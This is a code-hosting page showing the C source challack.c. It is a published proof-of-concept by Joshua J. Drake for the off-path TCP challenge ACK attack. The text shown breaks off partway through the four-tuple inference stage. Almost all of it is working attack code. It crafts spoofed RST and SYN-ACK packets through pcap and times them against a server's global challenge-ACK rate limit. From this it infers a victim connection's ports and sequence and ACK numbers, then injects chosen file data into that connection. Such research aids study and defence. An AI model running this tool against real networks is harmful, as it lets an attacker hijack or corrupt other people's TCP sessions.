-
Notifications
You must be signed in to change notification settings - Fork 32
/
Copy pathchallack.c
2619 lines (2226 loc) · 64 KB
/
challack.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* Proof-of-concept code for:
* "Off-Path TCP Exploits: Global Rate Limit Considered Dangerous"
* http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf
*
* by Joshua J. Drake (jdrake@zimperium.com) on 2016-08-18
*
* NOTE: You need to use iptables to DROP packets from the target host/port
*
* # iptables -A INPUT -j DROP -p tcp -s [server addr] --sport [server port]
*
* Otherwise, your legitimate TCP stack will interfere with this program's
* operation.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
/* internet networking */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
/* packet capturing */
#include <pcap/pcap.h>
/* raw packet crafting */
#define __FAVOR_BSD 1
#include <netinet/ip.h>
#include <netinet/tcp.h>
/* terminal interactions */
#include <termios.h>
/* precise timing */
#include <sys/time.h>
/* threading */
#include <pthread.h>
/* filesystem interaction */
#include <sys/stat.h>
#include <fcntl.h>
#ifndef ROUTER_MAC
#define ROUTER_MAC "\x01\x02\x03\x04\x05\x06"
#endif
#ifndef LOCAL_MAC
#define LOCAL_MAC "\xaa\xbb\xcc\xdd\xee\xff"
#endif
/*
* if DEVICE is not defined, we'll try to find a suitable device..
*/
// #define DEVICE "ppp0"
#define SNAPLEN 1500
#define PACKETS_PER_SECOND 4000
#define PACKET_DELAY 100
/* TCP connection tracking */
typedef enum {
CS_NEW = 0,
CS_SYN_SENT,
CS_CONNECTED,
CS_FINISHED
} cstate_t;
const char *g_conn_states[] = {
"NEW",
"SYN",
"EST",
"FIN"
};
typedef struct packet_struct {
u_char *buf;
size_t len;
} packet_t;
typedef struct conn_struct {
cstate_t state;
uint16_t id;
struct sockaddr_in src;
struct sockaddr_in dst;
/* in host endian */
uint32_t seq;
uint32_t ack;
} conn_t;
typedef struct thctx_struct {
/* pcap */
pcap_t *pch;
int ipoff;
/* connections */
conn_t legit;
conn_t spoof;
/* other options */
uint16_t winsz; // initial TCP window size
int autostart;
u_long packets_per_second;
u_long packet_delay;
uint32_t start_seq, end_seq;
uint32_t start_ack, end_ack;
/* inject? */
char *inject_server;
off_t inject_server_len;
char *inject_client;
off_t inject_client_len;
int client_mode;
int attacking;
} thctx_t;
/* for probing groups of values, limited by PACKETS_PER_SECOND */
typedef struct chunk_struct {
u_long start;
u_long end;
int chacks;
} chunk_t;
/* global count for challenge ACKs received in one period */
static volatile int g_chack_cnt = 0;
/* global context for threads operating on pkts */
static volatile thctx_t g_ctx;
/* global RST packet for eliciting challenge ACKs */
static packet_t g_rst_pkt;
/* prototypes.. */
int set_up_attack(void);
int sync_time_with_remote(void);
int infer_four_tuple(void);
int infer_sequence_step1(u_long *pstart, u_long *pend);
int infer_sequence_step2(u_long *pstart, u_long *pend);
int infer_sequence_step3_rst(u_long *pstart, u_long *pend);
int infer_sequence_step3_ack(u_long *pstart, u_long *pend);
int infer_sequence_number(void);
int infer_ack_number(void);
int inject_the_data(void);
int conduct_offpath_attack(void);
uint16_t in_cksum(uint16_t *addr, size_t len);
void tcp_init(volatile conn_t *pconn, uint32_t seq);
int tcp_craft(void *output, size_t *outlen, volatile conn_t *pconn,
u_char flags, char *data, size_t len);
int tcp_send(pcap_t *pch, volatile conn_t *pconn, u_char flags,
char *data, size_t len);
int tcp_recv(struct pcap_pkthdr *pph, const void *inbuf, u_char *flags,
uint32_t *pack, uint32_t *pseq, void **pdata, size_t *plen);
#if defined(DEBUG_SEQ_IN) || defined(DEBUG_SEQ_OUT)
char *tcp_flags(u_char flags);
#endif
int block_traffic(void);
int unblock_traffic(void);
void setterm(int mode);
int kbhit(void);
int lookup_host(char *hostname, struct sockaddr_in *addr);
int start_pcap(pcap_t **pcap, volatile struct sockaddr_in *psrv,
uint16_t lport, int *off2ip);
void *recv_thread(void *arg);
int send_packets_delay(packet_t *ppkt, int count, suseconds_t us_delay);
int prepare_rst_packet(packet_t *ppkt);
void wait_until(const char *desc, struct timeval *pstart, time_t sec,
suseconds_t usec);
char *slurp(char *file, off_t *plen);
void usage(char *argv0)
{
fprintf(stderr, "usage: %s [options] <server addr> <server port> <client addr>\n",
argv0);
fprintf(stderr, "\nsupported options:\n\n"
"-c <port> attack the client's connection to this port on the server\n"
"-d <usec> packet delay\n"
"-g automatically start the attack (otherwise type \"start\")\n"
"-h this help, duh.\n"
"-i <file> inject data from file to the server\n"
"-I <file> inject data from file to the client\n"
"-p <port> spoofed client port\n"
// if it differs from legit connection port
"-P <port> alternate server port (advanced)\n"
"-r <rate> max packets per second\n"
"-s <sequence> skip to this number when starting sequence inference\n"
"-S <sequence> spoofed client sequence number\n"
"-w <winsz> assume the specified window size\n"
// time offset? (to avoid sync_time_with_remote)
"-a <sequence> skip to this number when starting ack inference\n"
"-A <sequence> spoofed client ack number\n");
}
int validate_port(char *str)
{
int port = atoi(str);
if (port < 1 || port > 65535) {
fprintf(stderr, "[!] %s is not a valid port.\n", str);
return -1;
}
return port;
}
int validate_seqack_one(char *str, uint32_t *pout)
{
char *pend = NULL;
u_long tmp = strtoul(str, &pend, 0);
if (!pend || *pend || tmp > UINT32_MAX) {
fprintf(stderr, "[!] invalid sequence number: %s\n", str);
return -1;
}
*pout = (uint32_t)tmp;
return 1;
}
int validate_seqack(char *str, int allow_range, uint32_t *pstart, uint32_t *pend)
{
char *str_end;
if (allow_range) {
char *pdash = strchr(str, '-');
if (pdash) {
*pdash++ = '\0'; // XXX: modifies arg
if (validate_seqack_one(pdash, pend) == -1)
return -1;
}
}
if (validate_seqack_one(str, pstart) == -1)
return -1;
/* swap the endpoints if someone specified something silly */
if (allow_range && *pend < *pstart) {
uint32_t tmp = *pend;
*pend = *pstart;
*pstart = tmp;
}
return 1;
}
/*
* The main function of this program simply checks prelimary arguments and
* and launches the attack.
*/
int main(int argc, char *argv[])
{
char *argv0;
int ret = 0, c, srvport, altport = -1, cliport = -1;
char myhost[512];
struct sockaddr_in sin;
char *srvfn = NULL, *clifn = NULL;
int client_mode = -1;
char sport[32], dport[32];
/* look up this machine's address */
if (gethostname(myhost, sizeof(myhost)) == -1) {
perror("[!] gethostname");
return 1;
}
if (!lookup_host(myhost, &sin))
return 1;
g_ctx.legit.src = sin;
/* initalize stuff */
srand(getpid());
g_ctx.packets_per_second = PACKETS_PER_SECOND;
g_ctx.packet_delay = PACKET_DELAY;
argv0 = "challack";
if (argv && argc > 0 && argv[0])
argv0 = argv[0];
if (argc < 4) {
usage(argv0);
return 1;
}
while ((c = getopt(argc, argv, "a:c:d:ghI:i:P:p:r:S:s:A:w:")) != -1) {
switch (c) {
case '?':
case 'h':
usage(argv0);
return 1;
case 'g':
g_ctx.autostart = 1;
break;
case 'c':
if ((client_mode = validate_port(optarg)) == -1)
return 1;
break;
case 'd':
{
char *pend = NULL;
u_long tmp = strtoul(optarg, &pend, 0);
if (!pend || *pend || tmp >= 1000000) {
fprintf(stderr, "[!] invalid delay: %s\n", optarg);
return 1;
}
g_ctx.packet_delay = tmp;
}
break;
case 'I':
{
off_t len;
char *buf = slurp(optarg, &len);
if (!buf) {
fprintf(stderr, "[!] unable to load client inject data from \"%s\"\n", optarg);
return 1;
}
g_ctx.inject_client = buf;
g_ctx.inject_client_len = len;
clifn = optarg;
}
break;
case 'i':
{
off_t len;
char *buf = slurp(optarg, &len);
if (!buf) {
fprintf(stderr, "[!] unable to load server inject data from \"%s\"\n", optarg);
return 1;
}
g_ctx.inject_server = buf;
g_ctx.inject_server_len = len;
srvfn = optarg;
}
break;
case 'p':
if ((cliport = validate_port(optarg)) == -1)
return 1;
break;
case 'P':
if ((altport = validate_port(optarg)) == -1)
return 1;
break;
case 'r':
{
char *pend = NULL;
u_long tmp = strtoul(optarg, &pend, 0);
if (!pend || *pend || tmp > 1000000) {
fprintf(stderr, "[!] invalid packet rate: %s\n", optarg);
return 1;
}
g_ctx.packets_per_second = tmp;
}
break;
case 'S':
{
uint32_t tmp;
if (validate_seqack(optarg, 0, &tmp, NULL) == -1)
return 1;
g_ctx.spoof.seq = tmp;
}
break;
case 's':
{
uint32_t start, end = 0;
if (validate_seqack(optarg, 1, &start, &end) == -1)
return 1;
g_ctx.start_seq = start;
g_ctx.end_seq = end;
}
break;
case 'w':
{
int winsz = atoi(optarg);
if (winsz < 1 || winsz > 65535) {
fprintf(stderr, "[!] %s is not a valid window size.\n", optarg);
return 1;
}
g_ctx.winsz = winsz;
}
break;
case 'A':
{
uint32_t tmp;
if (validate_seqack(optarg, 0, &tmp, NULL) == -1)
return 1;
g_ctx.spoof.ack = tmp;
}
break;
case 'a':
{
uint32_t start, end = 0;
if (validate_seqack(optarg, 1, &start, &end) == -1)
return 1;
g_ctx.start_ack = start;
g_ctx.end_ack = end;
}
break;
default:
fprintf(stderr, "[!] invalid option '%c'! try -h ...\n", c);
return 1;
/* not reached */
break;
}
}
/* adjust params */
argc -= optind;
argv += optind;
/* process required arguments */
if (argc < 3) {
usage(argv0);
return 1;
}
/* see if we can get the target server address */
memset(&sin, 0, sizeof(sin));
if (!lookup_host(argv[0], &sin))
return 1;
g_ctx.legit.dst = sin;
g_ctx.spoof.dst = sin;
/* see if we can get the client's address */
if (!lookup_host(argv[2], &sin))
return 1;
g_ctx.spoof.src = sin;
/* validate and record the server port */
if ((srvport = validate_port(argv[1])) == -1)
return 1;
g_ctx.legit.dst.sin_port = htons((uint16_t)srvport);
if (client_mode == -1)
g_ctx.spoof.dst.sin_port = htons((uint16_t)srvport);
/* for client mode, we need to spoof packets from the specified port on the
* server to the client */
strcpy(sport, "TBD");
strcpy(dport, "TBD");
if (client_mode != -1) {
g_ctx.spoof.src.sin_port = htons(client_mode);
sprintf(sport, "%u (from -c)", client_mode);
if (cliport != -1) {
g_ctx.spoof.dst.sin_port = htons(cliport);
sprintf(dport, "%u (from -p)", cliport);
}
g_ctx.client_mode = 1;
} else {
if (cliport != -1) {
g_ctx.spoof.src.sin_port = htons(cliport);
sprintf(sport, "%u (from -p)", cliport);
}
if (altport != -1) {
g_ctx.spoof.dst.sin_port = htons(altport);
sprintf(dport, "%u (from -P)", altport);
} else {
sprintf(dport, "%u", ntohs(g_ctx.spoof.dst.sin_port));
}
}
/* show details of the attack before commencing */
printf("[*] Launching off-path challenge ACK attack against the connection between:\n");
printf(" source: %s:%s\n", inet_ntoa(g_ctx.spoof.src.sin_addr), sport);
printf(" destination: %s:%s\n", inet_ntoa(g_ctx.spoof.dst.sin_addr), dport);
printf("[*] Sending legit challenge ACKs to: %s:%u\n",
inet_ntoa(g_ctx.legit.dst.sin_addr),
ntohs(g_ctx.legit.dst.sin_port));
printf(" from: %s\n", inet_ntoa(g_ctx.legit.src.sin_addr));
if (g_ctx.spoof.seq)
printf(" spoofed sequence: %lu (0x%lx)\n", (u_long)g_ctx.spoof.seq,
(u_long)g_ctx.spoof.seq);
if (g_ctx.spoof.ack)
printf(" spoofed ack: %lu (0x%lx)\n", (u_long)g_ctx.spoof.ack,
(u_long)g_ctx.spoof.ack);
if (g_ctx.start_seq)
printf(" starting with sequence: %lu (0x%lx)\n",
(u_long)g_ctx.start_seq, (u_long)g_ctx.start_seq);
if (g_ctx.end_seq)
printf(" ending with sequence: %lu (0x%lx)\n",
(u_long)g_ctx.end_seq, (u_long)g_ctx.end_seq);
if (g_ctx.start_ack)
printf(" starting with ack: %lu (0x%lx)\n",
(u_long)g_ctx.start_ack, (u_long)g_ctx.start_ack);
if (g_ctx.end_ack)
printf(" ending with ack: %lu (0x%lx)\n",
(u_long)g_ctx.end_ack, (u_long)g_ctx.end_ack);
if (g_ctx.packets_per_second != PACKETS_PER_SECOND)
printf(" packets per second: %lu\n", g_ctx.packets_per_second);
if (g_ctx.packet_delay != PACKET_DELAY)
printf(" packet delay: %lu\n", g_ctx.packet_delay);
if (srvfn)
printf(" attempting to inject %lu bytes to the server from \"%s\"\n",
g_ctx.inject_server_len, srvfn);
if (clifn)
printf(" attempting to inject %lu bytes to the client from \"%s\"\n",
g_ctx.inject_client_len, clifn);
if (g_ctx.winsz)
printf(" tcp window size: %u\n", g_ctx.winsz);
/* here we go.. WOOO */
ret = set_up_attack();
if (!unblock_traffic())
return 1;
return ret;
}
/*
* attempt to resolve hostname as an ip address using inet_aton(3). if it
* fails, we must have a DNS name so we try to look it up via gethostbyname(3).
* if all is good, we fill in addr so that it can be returned via result
* paramter, and return 1.
*
* if the lookup fails, we return 0. to report errors, we use herror(3)
*/
int lookup_host(char *hostname, struct sockaddr_in *addr)
{
struct hostent *hent;
memset(addr, 0, sizeof(*addr));
addr->sin_family = AF_INET;
if (!inet_aton(hostname, &(addr->sin_addr))) {
hent = gethostbyname(hostname);
if (hent == (struct hostent *)NULL) {
char errstr[1024] = { 0 };
snprintf(errstr, sizeof(errstr) - 1, "[!] Unable to resolve: \"%s\"",
hostname);
herror(errstr);
return 0;
}
memcpy(&(addr->sin_addr), hent->h_addr, sizeof(struct in_addr));
}
return 1;
}
/*
* try to start capturing packets from the specified host+port to the local
* machine on the specified port.
*
* on succes, we return 1, on failure, 0
*/
int start_pcap(pcap_t **pcap, volatile struct sockaddr_in *psrv, uint16_t lport, int *off2ip)
{
struct bpf_program bpfp; /* needed to set the filter */
char errorstr[PCAP_ERRBUF_SIZE], filterstr[80], *iface;
int filter = 1;
#ifdef DEVICE
iface = (char *)malloc(16);
strncpy(iface, DEVICE, sizeof(iface));
#else
iface = pcap_lookupdev(errorstr);
if (iface == NULL) {
fprintf(stderr, "[!] Unable to find a suitable capture device: %s\n",
errorstr);
return 0;
}
#endif
printf("[*] Starting capture on \"%s\" ...\n", iface);
*pcap = pcap_open_live(iface, SNAPLEN, 8, 25, errorstr);
#ifdef DEVICE
free(iface);
#endif
if (*pcap == (pcap_t *)NULL) {
fprintf(stderr, "[!] pcap_open_live() failed: %s\n", errorstr);
return 0;
}
switch (pcap_datalink(*pcap)) {
case DLT_EN10MB:
*off2ip = 14;
break;
case DLT_SLIP:
*off2ip = 16;
break;
case DLT_PPP:
*off2ip = 4;
filter = 0;
fprintf(stderr, "[-] PPP doesn't have filtering, problems may occur.\n");
break;
case DLT_FDDI:
fprintf(stderr, "[!] FDDI is not supported!\n");
return 0;
case DLT_RAW:
fprintf(stderr, "[-] Using the RAW datalink.\n");
*off2ip = 0;
break;
default:
*off2ip = 4;
break;
}
if (filter) {
sprintf(filterstr, "tcp and src %s and src port %d and dst port %d",
inet_ntoa(psrv->sin_addr), ntohs(psrv->sin_port), lport);
if (pcap_compile(*pcap, &bpfp, filterstr, 1, 0) == -1)
return 0;
if (pcap_setfilter(*pcap, &bpfp) == -1)
return 0;
}
return 1;
}
/*
* a function to send a certain number of packets with a delay
*/
int send_packets_delay(packet_t *ppkt, int count, suseconds_t us_delay)
{
struct timeval start, now, diff;
#ifdef DEBUG_SEND_PACKETS_DELAY
printf("[*] Sending %d packets...\n", count);
#endif
while (count > 0) {
gettimeofday(&start, NULL);
if (pcap_sendpacket(g_ctx.pch, ppkt->buf, ppkt->len) == -1)
return 0;
count--;
do {
gettimeofday(&now, NULL);
timersub(&now, &start, &diff);
} while (diff.tv_usec < us_delay);
#ifdef DEBUG_SEND_PACKETS_DELAY
printf(" sent in %lu %lu\n", diff.tv_sec, diff.tv_usec);
#endif
}
return 1;
}
/*
* a thread to receive packets =)
*/
void *recv_thread(void *arg)
{
struct pcap_pkthdr *pchdr = NULL;
const u_char *inbuf = NULL;
int pcret;
u_char flags;
size_t datalen;
/* listen for challenge ACKs and count them */
while (g_ctx.attacking) {
pcret = pcap_next_ex(g_ctx.pch, &pchdr, &inbuf);
if (pcret == 1
&& tcp_recv(pchdr, inbuf, &flags, NULL, NULL, NULL, &datalen)
&& flags == TH_ACK) {
g_chack_cnt++;
}
}
/* not reached */
return NULL;
}
/*
* prepare the RST packet we'll use to elicit challenge ACKs on our legit
* connection.
*/
int prepare_rst_packet(packet_t *ppkt)
{
uint32_t old_seq;
volatile conn_t *legit = &(g_ctx.legit);
/* save the old sequence number */
old_seq = legit->seq;
/* advance it by some amount so that it is out of window */
legit->seq += 5000;
/* allocate a buffer for the packet */
ppkt->len = 8192;
ppkt->buf = malloc(ppkt->len);
if (!ppkt->buf) {
fprintf(stderr, "[!] no memory for RST packet!\n");
return 0;
}
/* add the phys header */
memcpy(ppkt->buf, ROUTER_MAC LOCAL_MAC "\x08\x00", g_ctx.ipoff);
/* craft the packet! */
if (!tcp_craft(ppkt->buf + g_ctx.ipoff, &(ppkt->len), legit, TH_RST, "z", 1))
return 0;
/* adjust the length to include the phys part */
ppkt->len += g_ctx.ipoff;
/* set the sequence number back to the original value..
* this way the connection remains ok.
*/
legit->seq = old_seq;
return 1;
}
/*
* wait until the specified amount of time has elapsed
*/
void wait_until(const char *desc, struct timeval *pstart, time_t sec, suseconds_t usec)
{
struct timeval now, diff;
uint64_t wait_time = usec + (sec * 1000000);
uint64_t waited = 0;
/* if we already reached the time, we need to adjust... */
gettimeofday(&now, NULL);
timersub(&now, pstart, &diff);
waited = diff.tv_usec + (diff.tv_sec * 1000000);
#ifdef DEBUG_WAIT_UNTIL
printf(" waiting %lu, already waited %lu...\n", wait_time, waited);
#endif
if (waited > wait_time) {
fprintf(stderr, "[!] %s : already reached time! (%lu %lu vs. %lu %lu)\n",
desc, diff.tv_sec, diff.tv_usec, sec, usec);
(void)unblock_traffic();
exit(1); // EWW
}
for (;;) {
usleep(250);
gettimeofday(&now, NULL);
timersub(&now, pstart, &diff);
waited = diff.tv_usec + (diff.tv_sec * 1000000);
if (waited >= wait_time)
break;
}
#ifdef DEBUG_WAIT_UNTIL
printf(" %s took %lu %lu\n", desc, diff.tv_sec, diff.tv_usec);
#endif
}
/*
* stage 1 - time synchronization
*
* 1. send 200 in-window RSTs spaced evenly
* 2. count the challenge ACKs returned
* 3. adjust accordingly
* 4. confirm
*
* the goal is exactly 100 challenge ACKs received...
*/
int sync_time_with_remote(void)
{
int attempts = 0, round = 0, chack_cnt[4] = { 0 };
struct timeval round_start, start, now;
struct timeval sync_start;
#ifdef DEBUG_SYNC_SEND_TIME
struct timeval diff;
#endif
gettimeofday(&sync_start, NULL);
/* if we don't synchronize within 3 attempts, give up.. */
while (1) {
gettimeofday(&round_start, NULL);
/* sanity check to detect really bad situations... */
if (g_chack_cnt > 0) {
fprintf(stderr, "[!] WTF? already received challenge ACKs??\n");
return 0;
}
/* send 200 RSTs, spaced evenly */
if (!send_packets_delay(&g_rst_pkt, 200, 5000))
return 0;
#ifdef DEBUG_SYNC_SEND_TIME
gettimeofday(&now, NULL);
timersub(&now, &round_start, &diff);
printf(" send took %lu %lu\n", diff.tv_sec, diff.tv_usec);
#endif
/* wait for 2 seconds for challenge ACKs... */
wait_until("time-sync recv", &round_start, 2, 0);
/* the delay before next round starts here.. */
gettimeofday(&start, NULL);
/* record the number of challenge acks seen */
chack_cnt[round] = g_chack_cnt;
g_chack_cnt = 0;
printf("[*] time-sync: round %d - %d challenge ACKs\n", round + 1,
chack_cnt[round]);
/* did we sync?? */
if (chack_cnt[round] == 100) {
if (round == 3) {
/* verified! */
gettimeofday(&now, NULL);
timersub(&now, &sync_start, &start);
printf("[*] Time synchronization complete (after %lu %lu)\n", start.tv_sec, start.tv_usec);
return 1;
}
/* we got lucky! verify... */
round = 3;
continue;
}
else if (chack_cnt[round] < 100) {
fprintf(stderr, "[!] invalid number of challenge ACKs! WTF?\n");
return 0;
}
/* not sync'd yet, decide how much to delay */
else if (round < 2) {
/* round 1 -> round 2 : delay by 5ms */
uint64_t delay = 5000;
if (round == 1) {
/* round 2 -> round 3 : delay precisely */
if (chack_cnt[round] >= chack_cnt[0]) {
delay = (300 - chack_cnt[round]) * 5000;
} else {
delay = (chack_cnt[round] - 100) * 5000;
}
}
/* do the delay! */
#ifdef DEBUG_SYNC_DELAY
printf(" delaying for %lu us\n", delay);
#endif
wait_until("time-sync delay", &start, 0, delay);
round++;
} else {
/* start over :-/ */
attempts++;
if (attempts > 2) {
fprintf(stderr, "[!] maximum attempts reached! giving up.\n");
break;
}
fprintf(stderr, "[!] reached round %d without success, restarting...\n",
round + 1);
round = 0;
}
}
/* fail! */
return 0;
}
/*
* build a test schedule based on the start and end of a range
*/
chunk_t *build_schedule(u_long start, u_long end, u_long chunk_sz, int *pnchunks)
{
int i, nchunks;
u_long num;
chunk_t *schedule = NULL;
num = end - start;
if (num <= chunk_sz) {
fprintf(stderr, "[!] build_schedule: invalid range (too small)!\n");
return NULL;
}
nchunks = (num / chunk_sz) + 1;
schedule = (chunk_t *)malloc(sizeof(chunk_t) * nchunks);
if (!schedule) {
perror("[!] malloc");
return NULL;
}
for (i = 0; i < nchunks; i++) {
schedule[i].start = start + (i * chunk_sz);
schedule[i].end = start + ((i + 1) * chunk_sz);
if (schedule[i].end > end)
schedule[i].end = end;
}
*pnchunks = nchunks;
return schedule;
}
/*
* build a test schedule based on the start and end of a range (reverse order)
*/
chunk_t *build_schedule_reverse(u_long start, u_long end, u_long chunk_sz, int *pnchunks)
{
int i, nchunks;
u_long num;
chunk_t *schedule = NULL;
num = end - start;
if (num <= chunk_sz) {
fprintf(stderr, "[!] build_schedule_reverse: invalid range (too small)!\n");
return NULL;
}
nchunks = (num / chunk_sz) + 1;
schedule = (chunk_t *)malloc(sizeof(chunk_t) * nchunks);
if (!schedule) {
perror("[!] malloc");
return NULL;
}
/* fill the schedule starting from the end */
for (i = 0; i < nchunks; i++) {
if ((u_long)((i + 1) * chunk_sz) > end)
schedule[i].start = start;
else
schedule[i].start = end - ((i + 1) * chunk_sz);
schedule[i].end = end - (i * chunk_sz);
}
*pnchunks = nchunks;
return schedule;
}
/* stage 2 - four tuple inference
*
* send a spoofed SYN|ACK to try to elicit a challenge ACK for the purported
* connection from our victim.
*/
int infer_four_tuple(void)
{
struct timeval infer_start, round_start, now, diff;
volatile conn_t *spoof = &(g_ctx.spoof);
int test_mode = -1;
/* chunk-based search vars */
chunk_t *sched = NULL;
int nchunks = 0, ci = 0;
/* binary search vars */
u_long bs_start = 0, bs_end = 0, bs_mid = 0;
volatile uint16_t *pport;
gettimeofday(&infer_start, NULL);
if (g_ctx.client_mode)
pport = &(spoof->dst.sin_port);
else
pport = &(spoof->src.sin_port);
while (1) {
gettimeofday(&round_start, NULL);
/* sanity check to detect really bad situations... */
if (g_chack_cnt > 0) {
fprintf(stderr, "[!] WTF? already received challenge ACKs??\n");
return 0;
}
/* we have three possibilities:
* 1. we have a port hint -- we just want to test that one (but fall
* back if it fails) -- test_mode:0